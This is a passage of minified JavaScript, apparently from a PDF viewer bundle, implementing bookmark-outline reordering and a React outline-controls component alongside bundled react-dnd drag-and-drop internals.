regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,t.findPDFNetOutline(e);case 2:if(r=n.sent){n.next=5;break}return n.abrupt("return");case 5:return n.next=7,r.getPrev();case 7:return o=n.sent,n.next=10,t.isValid(o);case 10:if(n.sent){n.next=12;break}return n.abrupt("return",e);case 12:return n.next=14,r.copy();case 14:return i=n.sent,n.next=17,r.delete();case 17:return n.next=19,o.addPrev(i);case 19:return n.next=21,t.findPathInTree(i);case 21:return a=n.sent,l=XO(XO({},i),{},{bookmark:i,path:a,action:"moveOutlineUp"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,l),n.abrupt("return",t.findPathInTree(i));case 25:case"end":return n.stop()}}),n)})))()},moveOutlineDown:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o,i,a,l;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,t.findPDFNetOutline(e);case 2:if(r=n.sent){n.next=5;break}return n.abrupt("return",e);case 5:return n.next=7,r.getNext();case 7:return o=n.sent,n.next=10,t.isValid(o);case 10:if(n.sent){n.next=12;break}return n.abrupt("return",e);case 12:return n.next=14,r.copy();case 14:return i=n.sent,n.next=17,r.delete();case 17:return n.next=19,o.addNext(i);case 19:return n.next=21,t.findPathInTree(i);case 21:return a=n.sent,l=XO(XO({},i),{},{bookmark:i,path:a,action:"moveOutlineDown"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,l),n.abrupt("return",t.findPathInTree(i));case 25:case"end":return n.stop()}}),n)})))()},moveOutlineBeforeTarget:function(e,t){var n=this;return eA(regeneratorRuntime.mark((function r(){var o,i,a,l,s;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.next=2,n.findPDFNetOutline(e);case 2:return o=r.sent,r.next=5,n.findPDFNetOutline(t);case 5:if((i=r.sent)&&o){r.next=8;break}return r.abrupt("return",e);case 8:return r.next=10,o.copy();case 10:return a=r.sent,r.next=13,o.delete();case 13:return r.next=15,i.addPrev(a);case 15:return r.next=17,n.findPathInTree(a);case 17:return l=r.sent,s=XO(XO({},a),{},{bookmark:a,path:l,action:"moveOutlineBeforeTarget"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,s),r.abrupt("return",n.findPathInTree(a));case 21:case"end":return r.stop()}}),r)})))()},moveOutlineAfterTarget:function(e,t){var n=this;return eA(regeneratorRuntime.mark((function r(){var o,i,a,l,s;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.next=2,n.findPDFNetOutline(e);case 2:return o=r.sent,r.next=5,n.findPDFNetOutline(t);case 5:if((i=r.sent)&&o){r.next=8;break}return r.abrupt("return",e);case 8:return r.next=10,o.copy();case 10:return a=r.sent,r.next=13,o.delete();case 13:return r.next=15,i.addNext(a);case 15:return r.next=17,n.findPathInTree(a);case 17:return l=r.sent,s=XO(XO({},a),{},{bookmark:a,path:l,action:"moveOutlineAfterTarget"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,s),r.abrupt("return",n.findPathInTree(a));case 21:case"end":return r.stop()}}),r)})))()},moveOutlineOutward:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o,i,a,l;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,t.findPDFNetOutline(e);case 2:if(r=n.sent,n.t0=!r,n.t0){n.next=9;break}return n.next=7,r.getIndent();case 7:n.t1=n.sent,n.t0=1===n.t1;case 9:if(!n.t0){n.next=11;break}return n.abrupt("return",e);case 11:return n.next=13,r.getParent();case 13:return o=n.sent,n.next=16,r.copy();case 16:return i=n.sent,n.next=19,r.delete();case 19:return n.next=21,o.addNext(i);case 21:return n.next=23,t.findPathInTree(i);case 23:return a=n.sent,l=XO(XO({},i),{},{bookmark:i,path:a,action:"moveOutlineOutward"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,l),n.abrupt("return",t.findPathInTree(i));case 27:case"end":return n.stop()}}),n)})))()},moveOutlineOutwardBeforeParent:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o,i,a,l;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,t.findPDFNetOutline(e);case 2:if(r=n.sent,n.t0=!r,n.t0){n.next=9;break}return n.next=7,r.getIndent();case 7:n.t1=n.sent,n.t0=1===n.t1;case 9:if(!n.t0){n.next=11;break}return n.abrupt("return",e);case 11:return n.next=13,r.getParent();case 13:return o=n.sent,n.next=16,r.copy();case 16:return i=n.sent,n.next=19,r.delete();case 19:return n.next=21,o.addPrev(i);case 21:return n.next=23,t.findPathInTree(i);case 23:return a=n.sent,l=XO(XO({},i),{},{bookmark:i,path:a,action:"moveOutlineOutwardBeforeParent"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,l),n.abrupt("return",t.findPathInTree(i));case 27:case"end":return n.stop()}}),n)})))()},moveOutlineOutwardBeforeAncestor:function(e,t){var n=this;return eA(regeneratorRuntime.mark((function r(){var o,i,a,l,s;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.next=2,n.findPDFNetOutline(e);case 2:return o=r.sent,r.next=5,n.findPDFNetOutline(t);case 5:if(i=r.sent,r.t1=!o,r.t1){r.next=12;break}return r.next=10,o.getIndent();case 10:r.t2=r.sent,r.t1=1===r.t2;case 12:if(r.t0=r.t1,r.t0){r.next=15;break}r.t0=!i;case 15:if(!r.t0){r.next=17;break}return r.abrupt("return",e);case 17:return r.next=19,o.copy();case 19:return a=r.sent,r.next=22,o.delete();case 22:return r.next=24,i.addPrev(a);case 24:return r.next=26,n.findPathInTree(a);case 26:return l=r.sent,s=XO(XO({},a),{},{bookmark:a,path:l,action:"moveOutlineOutwardBeforeAncestor"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,s),r.abrupt("return",n.findPathInTree(a));case 30:case"end":return r.stop()}}),r)})))()},moveOutlineInTarget:function(e,t){var n=this;return eA(regeneratorRuntime.mark((function r(){var o,i,a,l,s,u;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.next=2,n.findPDFNetOutline(e);case 2:return o=r.sent,r.next=5,n.findPDFNetOutline(t);case 5:if(i=r.sent,o&&i){r.next=8;break}return r.abrupt("return",e);case 8:return r.next=10,n.isValid(i);case 10:if(r.sent){r.next=12;break}return r.abrupt("return",e);case 12:return r.next=14,o.copy();case 14:return a=r.sent,r.next=17,o.delete();case 17:return r.next=19,i.hasChildren();case 19:if(!r.sent){r.next=27;break}return r.next=22,i.getLastChild();case 22:return l=r.sent,r.next=25,l.addNext(a);case 25:r.next=29;break;case 27:return r.next=29,i.addChild(a);case 29:return r.next=31,n.findPathInTree(a);case 31:return s=r.sent,u=XO(XO({},a),{},{bookmark:a,path:s,action:"moveOutlineInTarget"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,u),r.abrupt("return",n.findPathInTree(a));case 35:case"end":return r.stop()}}),r)})))()},moveOutlineInward:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o,i,a,l,s;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,t.findPDFNetOutline(e);case 2:if(r=n.sent){n.next=5;break}return n.abrupt("return",e);case 5:return n.next=7,r.getPrev();case 7:return o=n.sent,n.next=10,t.isValid(o);case 10:if(n.sent){n.next=12;break}return n.abrupt("return",e);case 12:return n.next=14,r.copy();case 14:return i=n.sent,n.next=17,r.delete();case 17:return n.next=19,o.hasChildren();case 19:if(!n.sent){n.next=27;break}return n.next=22,o.getLastChild();case 22:return a=n.sent,n.next=25,a.addNext(i);case 25:n.next=29;break;case 27:return n.next=29,o.addChild(i);case 29:return n.next=31,t.findPathInTree(i);case 31:return l=n.sent,s=XO(XO({},i),{},{bookmark:i,path:l,action:"moveOutlineInward"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,s),n.abrupt("return",t.findPathInTree(i));case 35:case"end":return n.stop()}}),n)})))()},getCanMoveState:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o,i,a,l;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return r={up:!1,down:!1,outward:!1,inward:!1},n.next=3,t.findPDFNetOutline(e);case 3:if(o=n.sent){n.next=6;break}return n.abrupt("return",r);case 6:return n.next=8,o.getPrev();case 8:return i=n.sent,n.next=11,t.isValid(i);case 11:if(!n.sent){n.next=14;break}r.up=!0,r.inward=!0;case 14:return n.next=16,o.getNext();case 16:return a=n.sent,n.next=19,t.isValid(a);case 19:if(!n.sent){n.next=21;break}r.down=!0;case 21:return n.next=23,o.getParent();case 23:return l=n.sent,n.next=26,t.isValid(l);case 26:if(n.t0=n.sent,!n.t0){n.next=32;break}return n.next=30,o.getIndent();case 30:n.t1=n.sent,n.t0=n.t1>1;case 32:if(!n.t0){n.next=34;break}r.outward=!0;case 34:return n.abrupt("return",r);case 35:case"end":return n.stop()}}),n)})))()},getOutlineId:function(e){var t=e.getName(),n=this.getPath(e);return"".concat(n).concat(this.getSplitter()).concat(t)},getLastOutline:function(){var e=this;return window.PDFNet.runWithCleanup(eA(regeneratorRuntime.mark((function t(){var n,r,o;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,e.doc.getPDFDoc();case 2:return n=t.sent,t.next=5,n.getFirstBookmark();case 5:r=t.sent,o=r;case 7:return t.next=9,e.isValid(o);case 9:if(t.t0=t.sent,!t.t0){t.next=18;break}return t.t1=e,t.next=14,o.getNext();case 14:return t.t2=t.sent,t.next=17,t.t1.isValid.call(t.t1,t.t2);case 17:t.t0=t.sent;case 18:if(!t.t0){t.next=24;break}return t.next=21,o.getNext();case 21:o=t.sent,t.next=7;break;case 24:return t.next=26,e.isValid(o);case 26:if(!t.sent){t.next=30;break}t.t3=o,t.next=31;break;case 30:t.t3=null;case 31:return t.abrupt("return",t.t3);case 32:case"end":return t.stop()}}),t)}))))},findPathInTree:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o,i,a,l,s,u,c,f,d,p;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,t.doc.getPDFDoc();case 2:return r=n.sent,n.next=5,r.getFirstBookmark();case 5:o=n.sent,i=[],a=0,l=o;case 9:return n.next=11,t.isValid(l);case 11:if(!n.sent){n.next=19;break}return i.push([l,"".concat(a)]),n.next=15,l.getNext();case 15:l=n.sent,a++,n.next=9;break;case 19:if(!(i.length>0)){n.next=44;break}if(s=i.shift(),u=YO(s,2),c=u[0],f=u[1],c.id!==e.id){n.next=24;break}return n.abrupt("return",f);case 24:return n.next=26,c.hasChildren();case 26:if(n.sent){n.next=28;break}return n.abrupt("continue",19);case 28:return d=0,n.next=31,c.getFirstChild();case 31:p=n.sent;case 32:return n.next=34,t.isValid(p);case 34:if(!n.sent){n.next=42;break}return i.push([p,"".concat(f).concat(t.getSplitter()).concat(d)]),n.next=38,p.getNext();case 38:p=n.sent,d++,n.next=32;break;case 42:n.next=19;break;case 44:return n.abrupt("return",null);case 45:case"end":return n.stop()}}),n)})))()},findPDFNetOutline:function(e){var t=this;if(!e)return Promise.resolve(null);var n=e.split(this.getSplitter());return window.PDFNet.runWithCleanup(eA(regeneratorRuntime.mark((function e(){var r,o,i,a,l;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t.doc.getPDFDoc();case 2:return r=e.sent,e.next=5,r.getFirstBookmark();case 5:o=e.sent,i=o,a=0;case 8:if(!(a<n.length)){e.next=24;break}l=0;case 10:if(!(l<n[a])){e.next=17;break}return e.next=13,i.getNext();case 13:i=e.sent;case 14:l++,e.next=10;break;case 17:if(a===n.length-1){e.next=21;break}return e.next=20,i.getFirstChild();case 20:i=e.sent;case 21:a++,e.next=8;break;case 24:return e.next=26,t.isValid(i);case 26:if(!e.sent){e.next=28;break}return e.abrupt("return",i);case 28:return e.next=30,t.isValid(i);case 30:if(!e.sent){e.next=34;break}e.t0=i,e.next=35;break;case 34:e.t0=null;case 35:return e.abrupt("return",e.t0);case 36:case"end":return e.stop()}}),e)}))))},isAncestor:function(e,t){if(e===t)return!1;for(var n=e.parent;n;){if(n===t)return!0;n=n.parent}return!1},getPath:function(e){for(var t=[],n=e;n;)t.push(n.getIndex()),n=n.getParent();return t.reverse().join(this.getSplitter())},getSplitter:function(){return"-"},isValid:function(e){return eA(regeneratorRuntime.mark((function t(){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(t.t0=e,!t.t0){t.next=5;break}return t.next=4,e.isValid();case 4:t.t0=t.sent;case 5:return t.abrupt("return",t.t0);case 6:case"end":return t.stop()}}),t)})))()}},nA=Object.create(tA);n(994);function rA(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function oA(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){rA(i,r,o,a,l,"next",e)}function l(e){rA(i,r,o,a,l,"throw",e)}a(void 0)}))}}function iA(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return aA(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return aA(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function aA(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var lA=function(){var e=le((function(e){return fi.getOutlines(e)})),t=Object(l.useContext)(ZO),n=t.selectedOutlinePath,r=t.setSelectedOutlinePath,o=t.updateOutlines,i=iA(Object(l.useState)({up:!1,down:!1,outward:!1,inward:!1}),2),a=i[0],u=i[1],c=Object(l.useRef)(null),f=iA(Ks(),1)[0];Object(l.useEffect)((function(){vt.isFullPDFEnabled()&&function(){var e=oA(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.t0=u,e.next=3,nA.getCanMoveState(n);case 3:e.t1=e.sent,(0,e.t0)(e.t1);case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}()()}),[n]),Object(l.useEffect)((function(){null!==c.current&&(r(c.current),c.current=null)}),[e,r]);var d=function(){var e=oA(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,nA.moveOutlineUp(n);case 2:t=e.sent,o(),c.current=t;case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),p=function(){var e=oA(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,nA.moveOutlineDown(n);case 2:t=e.sent,o(),c.current=t;case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),h=function(){var e=oA(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,nA.moveOutlineOutward(n);case 2:t=e.sent,o(),c.current=t;case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),m=function(){var e=oA(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,nA.moveOutlineInward(n);case 2:t=e.sent,o(),c.current=t;case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return s.a.createElement(Uf,{className:"OutlineControls",dataElement:Yh.OUTLINE_CONTROLS},s.a.createElement("span",{className:"reorderText"},f("option.bookmarkOutlineControls.reorder")),s.a.createElement(bf,{img:"icon-arrow-up",disabled:!a.up,onClick:d,dataElement:"moveOutlineUpButton"}),s.a.createElement(bf,{img:"icon-arrow-down",disabled:!a.down,onClick:p,dataElement:"moveOutlineDownButton"}),s.a.createElement(bf,{img:"icon-arrow-left",disabled:!a.outward,onClick:h,dataElement:"moveOutlineOutwardButton"}),s.a.createElement(bf,{img:"icon-arrow-right",disabled:!a.inward,onClick:m,dataElement:"moveOutlineInwardButton"}))},sA=n(9);function uA(e,t,n){var r=n.getRegistry(),o=r.addTarget(e,t);return[o,function(){return r.removeTarget(o)}]}function cA(e,t,n){var r=n.getRegistry(),o=r.addSource(e,t);return[o,function(){return r.removeSource(o)}]}function fA(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function dA(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var pA=!1,hA=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),dA(this,"internalMonitor",void 0),dA(this,"targetId",null),this.internalMonitor=t.getMonitor()}var t,n,r;return t=e,(n=[{key:"receiveHandlerId",value:function(e){this.targetId=e}},{key:"getHandlerId",value:function(){return this.targetId}},{key:"subscribeToStateChange",value:function(e,t){return this.internalMonitor.subscribeToStateChange(e,t)}},{key:"canDrop",value:function(){if(!this.targetId)return!1;Object(sA.a)(!pA,"You may not call monitor.canDrop() inside your canDrop() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor");try{return pA=!0,this.internalMonitor.canDropOnTarget(this.targetId)}finally{pA=!1}}},{key:"isOver",value:function(e){return!!this.targetId&&this.internalMonitor.isOverTarget(this.targetId,e)}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}])&&fA(t.prototype,n),r&&fA(t,r),e}();function mA(e){return(mA="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function gA(e,t,n,r){var o=n?n.call(r,e,t):void 0;if(void 0!==o)return!!o;if(e===t)return!0;if("object"!==mA(e)||!e||"object"!==mA(t)||!t)return!1;var i=Object.keys(e),a=Object.keys(t);if(i.length!==a.length)return!1;for(var l=Object.prototype.hasOwnProperty.bind(t),s=0;s<i.length;s++){var u=i[s];if(!l(u))return!1;var c=e[u],f=t[u];if(!1===(o=n?n.call(r,c,f,u):void 0)||void 0===o&&c!==f)return!1}return!0}function vA(e){if("string"!=typeof e.type){var t=e.type.displayName||e.type.name||"the component";throw new Error("Only native element nodes can now be passed to React DnD connectors."+"You can either wrap ".concat(t," into a <div>, or turn it into a ")+"drag source or a drop target itself.")}}function yA(e){var t={};return Object.keys(e).forEach((function(n){var r=e[n];if(n.endsWith("Ref"))t[n]=e[n];else{var o=function(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(!Object(l.isValidElement)(t)){var r=t;return e(r,n),r}var o=t;vA(o);var i=n?function(t){return e(t,n)}:e;return wA(o,i)}}(r);t[n]=function(){return o}}})),t}function bA(e,t){"function"==typeof e?e(t):e.current=t}function wA(e,t){var n=e.ref;return Object(sA.a)("string"!=typeof n,"Cannot connect React DnD to an element with an existing string ref. Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. Read more: https://reactjs.org/docs/refs-and-the-dom.html#callback-refs"),n?Object(l.cloneElement)(e,{ref:function(e){bA(n,e),bA(t,e)}}):Object(l.cloneElement)(e,{ref:t})}function EA(e){return(EA="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function SA(e){return null!==e&&"object"===EA(e)&&Object.prototype.hasOwnProperty.call(e,"current")}function CA(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function xA(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var OA=function(){function e(t){var n=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),xA(this,"hooks",yA({dropTarget:function(e,t){n.clearDropTarget(),n.dropTargetOptions=t,SA(e)?n.dropTargetRef=e:n.dropTargetNode=e,n.reconnect()}})),xA(this,"handlerId",null),xA(this,"dropTargetRef",null),xA(this,"dropTargetNode",void 0),xA(this,"dropTargetOptionsInternal",null),xA(this,"unsubscribeDropTarget",void 0),xA(this,"lastConnectedHandlerId",null),xA(this,"lastConnectedDropTarget",null),xA(this,"lastConnectedDropTargetOptions",null),xA(this,"backend",void 0),this.backend=t}var t,n,r;return t=e,(n=[{key:"connectTarget",get:function(){return this.dropTarget}},{key:"reconnect",value:function(){var e=this.didHandlerIdChange()||this.didDropTargetChange()||this.didOptionsChange();e&&this.disconnectDropTarget();var t=this.dropTarget;this.handlerId&&(t?e&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDropTarget=t,this.lastConnectedDropTargetOptions=this.dropTargetOptions,this.unsubscribeDropTarget=this.backend.connectDropTarget(this.handlerId,t,this.dropTargetOptions)):this.lastConnectedDropTarget=t)}},{key:"receiveHandlerId",value:function(e){e!==this.handlerId&&(this.handlerId=e,this.reconnect())}},{key:"dropTargetOptions",get:function(){return this.dropTargetOptionsInternal},set:function(e){this.dropTargetOptionsInternal=e}},{key:"didHandlerIdChange",value:function(){return this.lastConnectedHandlerId!==this.handlerId}},{key:"didDropTargetChange",value:function(){return this.lastConnectedDropTarget!==this.dropTarget}},{key:"didOptionsChange",value:function(){return!gA(this.lastConnectedDropTargetOptions,this.dropTargetOptions)}},{key:"disconnectDropTarget",value:function(){this.unsubscribeDropTarget&&(this.unsubscribeDropTarget(),this.unsubscribeDropTarget=void 0)}},{key:"dropTarget",get:function(){return this.dropTargetNode||this.dropTargetRef&&this.dropTargetRef.current}},{key:"clearDropTarget",value:function(){this.dropTargetRef=null,this.dropTargetNode=null}}])&&CA(t.prototype,n),r&&CA(t,r),e}();function AA(e){return(AA="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function _A(e){var t=e.current;return null==t?null:t.decoratedRef?t.decoratedRef.current:t}function TA(e){return"function"==typeof e}function kA(){}function PA(e){if(!function(e){return"object"===AA(e)&&null!==e}(e))return!1;if(null===Object.getPrototypeOf(e))return!0;for(var t=e;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}function MA(e,t){return"string"==typeof e||"symbol"===AA(e)||!!t&&Array.isArray(e)&&e.every((function(e){return MA(e,!1)}))}var RA=n(122),jA=n(314);function LA(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function IA(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function NA(e,t,n){return t&&IA(e.prototype,t),n&&IA(e,n),e}function DA(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var FA=function(){function e(t){LA(this,e),DA(this,"isDisposed",!1),DA(this,"action",void 0),this.action=TA(t)?t:kA}return NA(e,[{key:"dispose",value:function(){this.isDisposed||(this.action(),this.isDisposed=!0)}}],[{key:"isDisposable",value:function(e){return Boolean(e&&TA(e.dispose))}},{key:"_fixup",value:function(t){return e.isDisposable(t)?t:e.empty}},{key:"create",value:function(t){return new e(t)}}]),e}();DA(FA,"empty",{dispose:kA});var BA=function(){function e(){LA(this,e),DA(this,"isDisposed",!1),DA(this,"disposables",void 0);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];this.disposables=n}return NA(e,[{key:"add",value:function(e){this.isDisposed?e.dispose():this.disposables.push(e)}},{key:"remove",value:function(e){var t=!1;if(!this.isDisposed){var n=this.disposables.indexOf(e);-1!==n&&(t=!0,this.disposables.splice(n,1),e.dispose())}return t}},{key:"clear",value:function(){if(!this.isDisposed){for(var e=this.disposables.length,t=new Array(e),n=0;n<e;n++)t[n]=this.disposables[n];this.disposables=[];for(var r=0;r<e;r++)t[r].dispose()}}},{key:"dispose",value:function(){if(!this.isDisposed){this.isDisposed=!0;for(var e=this.disposables.length,t=new Array(e),n=0;n<e;n++)t[n]=this.disposables[n];this.disposables=[];for(var r=0;r<e;r++)t[r].dispose()}}}]),e}(),HA=function(){function e(){LA(this,e),DA(this,"isDisposed",!1),DA(this,"current",void 0)}return NA(e,[{key:"getDisposable",value:function(){return this.current}},{key:"setDisposable",value:function(e){var t=this.isDisposed;if(!t){var n=this.current;this.current=e,n&&n.dispose()}t&&e&&e.dispose()}},{key:"dispose",value:function(){if(!this.isDisposed){this.isDisposed=!0;var e=this.current;this.current=void 0,e&&e.dispose()}}}]),e}();function VA(e){return(VA="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function zA(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return UA(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return UA(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function UA(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function GA(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function WA(e,t){return(WA=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function qA(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=$A(e);if(t){var o=$A(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return ZA(this,n)}}function ZA(e,t){if(t&&("object"===VA(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return YA(e)}function YA(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function $A(e){return($A=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function KA(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function XA(e){var t=e.DecoratedComponent,n=e.createHandler,r=e.createMonitor,o=e.createConnector,i=e.registerHandler,a=e.containerDisplayName,s=e.getType,u=e.collect,c=e.options.arePropsEqual,f=void 0===c?gA:c,d=t,p=t.displayName||t.name||"Component",h=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&WA(e,t)}(m,e);var t,a,c,h=qA(m);function m(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,m),KA(YA(t=h.call(this,e)),"decoratedRef",Object(l.createRef)()),KA(YA(t),"handlerId",void 0),KA(YA(t),"manager",void 0),KA(YA(t),"handlerMonitor",void 0),KA(YA(t),"handlerConnector",void 0),KA(YA(t),"handler",void 0),KA(YA(t),"disposable",void 0),KA(YA(t),"currentType",void 